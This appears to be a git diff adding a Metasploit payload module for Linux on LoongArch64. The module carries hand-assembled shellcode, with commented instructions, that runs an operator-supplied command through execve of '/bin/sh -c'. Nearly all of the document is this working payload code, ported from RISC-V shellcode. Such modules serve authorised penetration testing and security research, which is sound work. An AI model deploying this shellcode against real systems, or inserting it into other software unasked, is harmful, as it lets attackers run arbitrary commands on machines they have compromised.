diff --git a/modules/payloads/singles/linux/loongarch64/exec.rb b/modules/payloads/singles/linux/loongarch64/exec.rb new file mode 100644 index 0000000000000..ccda3626a69af --- /dev/null +++ b/modules/payloads/singles/linux/loongarch64/exec.rb @@ -0,0 +1,75 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 84 + + include Msf::Payload::Single + include Msf::Payload::Linux + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Linux Execute Command', + 'Description' => 'Execute an arbitrary command.', + 'Author' => [ + 'modexp', # cmd.s execve RISC-V 64-bit shellcode + 'bcoles', # LoongArch64 port and metasploit module + ], + 'License' => BSD_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_LOONGARCH64, + 'References' => [ + ['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'], + ['URL', 'https://github.com/bcoles/shellcode/blob/main/loongarch64/cmd/cmd.s'], + ] + ) + ) + register_options([ + OptString.new('CMD', [ true, 'The command string to execute' ]), + ]) + end + + # + # Returns the command string to use for execution + # + def command_string + datastore['CMD'] || '' + end + + def generate(_opts = {}) + shellcode = [ + 0x02ff0063, # addi.d $sp, $sp, -64 + 0x0383740b, # ori $a7, $zero, 221 # __NR_execve + 0x14dcd2c4, # lu12i.w $a0, 452246 + 0x0388bc84, # ori $a0, $a0, 0x22f + 0x170e65e4, # lu32i.d $a0, -494801 + 0x03001884, # lu52i.d $a0, $a0, 6 # $a0 = 0x0068732f6e69622f = "/bin/sh\0" + 0x29c00064, # st.d $a0, $sp, 0 # store "/bin/sh\0" on the stack + 0x00150064, # or $a0, $sp, $zero # $a0 = pointer to "/bin/sh" + 0x140000c5, # lu12i.w $a1, 6 + 0x038cb4a5, # ori $a1,$a1, 0x32d # $a1 = 0x632d = "-c\0" + 0x29c02065, # st.d $a1, $sp, 8 # store "-c\0" on the stack + 0x02c02065, # addi.d $a1, $sp, 8 # $a1 = pointer to "-c" + 0x18000106, # pcaddi $a2, 8 # $a2 = pointer to cmd string + 0x29c04064, # st.d $a0, $sp, 16 # argv[0] = "/bin/sh" + 0x29c06065, # st.d $a1, $sp, 24 # argv[1] = "-c" + 0x29c08066, # st.d $a2, $sp, 32 # argv[2] = cmd + 0x29c0a060, # st.d $zero, $sp, 40 # argv[3] = NULL + 0x02c04065, # addi.d $a1, $sp, 16 # $a1 = argv + 0x00150006, # or $a2, $zero, $zero # $a2 = NULL (envp) + 0x002b0101, # syscall 0x101 + ].pack('V*') + shellcode += command_string + "\x00" + + # align our shellcode to 4 bytes + shellcode += "\x00" while shellcode.bytesize % 4 != 0 + + super.to_s + shellcode + end +end